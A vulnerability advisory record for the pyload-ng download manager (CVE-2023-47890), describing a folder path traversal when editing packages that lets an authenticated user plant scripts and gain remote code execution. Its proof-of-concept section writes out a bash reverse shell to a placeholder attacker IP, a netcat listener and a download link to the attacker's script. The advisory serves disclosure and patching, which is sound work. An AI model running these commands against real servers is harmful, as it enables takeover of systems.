id: PYSEC-2026-1819
published: "2026-07-07T11:45:27.551381Z"
modified: "2026-07-07T17:25:10.992018Z"
aliases:
- CVE-2023-47890
- GHSA-h73m-pcfw-25h2
summary: Download to arbitrary folder can lead to RCE
details: "### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n  folder = (\n      folder.replace(\"http://\", \"\")\n      .replace(\"https://\", \"\")\n      .replace(\":\", \"\")\n      .replace(\"/\", \"_\")\n      .replace(\"\\\\\", \"_\")\n  )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n  id = int(flask.request.form[\"pack_id\"])\n  data = {\n      \"name\": flask.request.form[\"pack_name\"],\n      \"_folder\": flask.request.form[\"pack_folder\"],\n      \"password\": flask.request.form[\"pack_pws\"],\n  }\n\n  api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n  ```bash\n  nc -vklp 9999\n  ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n    Change permissions of downloads: On\n    Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n    http://<attacker_ip>/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server."
affected:
- package:
    name: pyload-ng
    ecosystem: PyPI
    purl: pkg:pypi/pyload-ng
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 0.5.0b3.dev75
  versions:
  - 0.5.0a5.dev528
  - 0.5.0a5.dev532
  - 0.5.0a5.dev535
  - 0.5.0a5.dev536
  - 0.5.0a5.dev537
  - 0.5.0a5.dev539
  - 0.5.0a5.dev540
  - 0.5.0a5.dev545
  - 0.5.0a5.dev562
  - 0.5.0a5.dev564
  - 0.5.0a5.dev565
  - 0.5.0a6.dev570
  - 0.5.0a6.dev578
  - 0.5.0a6.dev587
  - 0.5.0a7.dev596
  - 0.5.0a8.dev602
  - 0.5.0a9.dev615
  - 0.5.0a9.dev629
  - 0.5.0a9.dev632
  - 0.5.0a9.dev641
  - 0.5.0a9.dev643
  - 0.5.0a9.dev655
  - 0.5.0a9.dev806
  - 0.5.0b1.dev1
  - 0.5.0b1.dev2
  - 0.5.0b1.dev3
  - 0.5.0b1.dev4
  - 0.5.0b1.dev5
  - 0.5.0b2.dev10
  - 0.5.0b2.dev11
  - 0.5.0b2.dev12
  - 0.5.0b2.dev9
  - 0.5.0b3.dev13
  - 0.5.0b3.dev14
  - 0.5.0b3.dev17
  - 0.5.0b3.dev18
  - 0.5.0b3.dev19
  - 0.5.0b3.dev20
  - 0.5.0b3.dev21
  - 0.5.0b3.dev22
  - 0.5.0b3.dev24
  - 0.5.0b3.dev26
  - 0.5.0b3.dev27
  - 0.5.0b3.dev28
  - 0.5.0b3.dev29
  - 0.5.0b3.dev30
  - 0.5.0b3.dev31
  - 0.5.0b3.dev32
  - 0.5.0b3.dev33
  - 0.5.0b3.dev34
  - 0.5.0b3.dev35
  - 0.5.0b3.dev38
  - 0.5.0b3.dev39
  - 0.5.0b3.dev40
  - 0.5.0b3.dev41
  - 0.5.0b3.dev42
  - 0.5.0b3.dev43
  - 0.5.0b3.dev44
  - 0.5.0b3.dev45
  - 0.5.0b3.dev46
  - 0.5.0b3.dev47
  - 0.5.0b3.dev48
  - 0.5.0b3.dev49
  - 0.5.0b3.dev50
  - 0.5.0b3.dev51
  - 0.5.0b3.dev52
  - 0.5.0b3.dev53
  - 0.5.0b3.dev54
  - 0.5.0b3.dev57
  - 0.5.0b3.dev60
  - 0.5.0b3.dev62
  - 0.5.0b3.dev64
  - 0.5.0b3.dev65
  - 0.5.0b3.dev66
  - 0.5.0b3.dev67
  - 0.5.0b3.dev68
  - 0.5.0b3.dev69
  - 0.5.0b3.dev70
  - 0.5.0b3.dev71
  - 0.5.0b3.dev72
  - 0.5.0b3.dev73
  - 0.5.0b3.dev74
references:
- type: WEB
  url: https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2023-47890
- type: WEB
  url: https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f
- type: PACKAGE
  url: https://github.com/pyload/pyload
- type: WEB
  url: http://pyload.com
- type: PACKAGE
  url: https://pypi.org/project/pyload-ng
- type: ADVISORY
  url: https://github.com/advisories/GHSA-h73m-pcfw-25h2
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H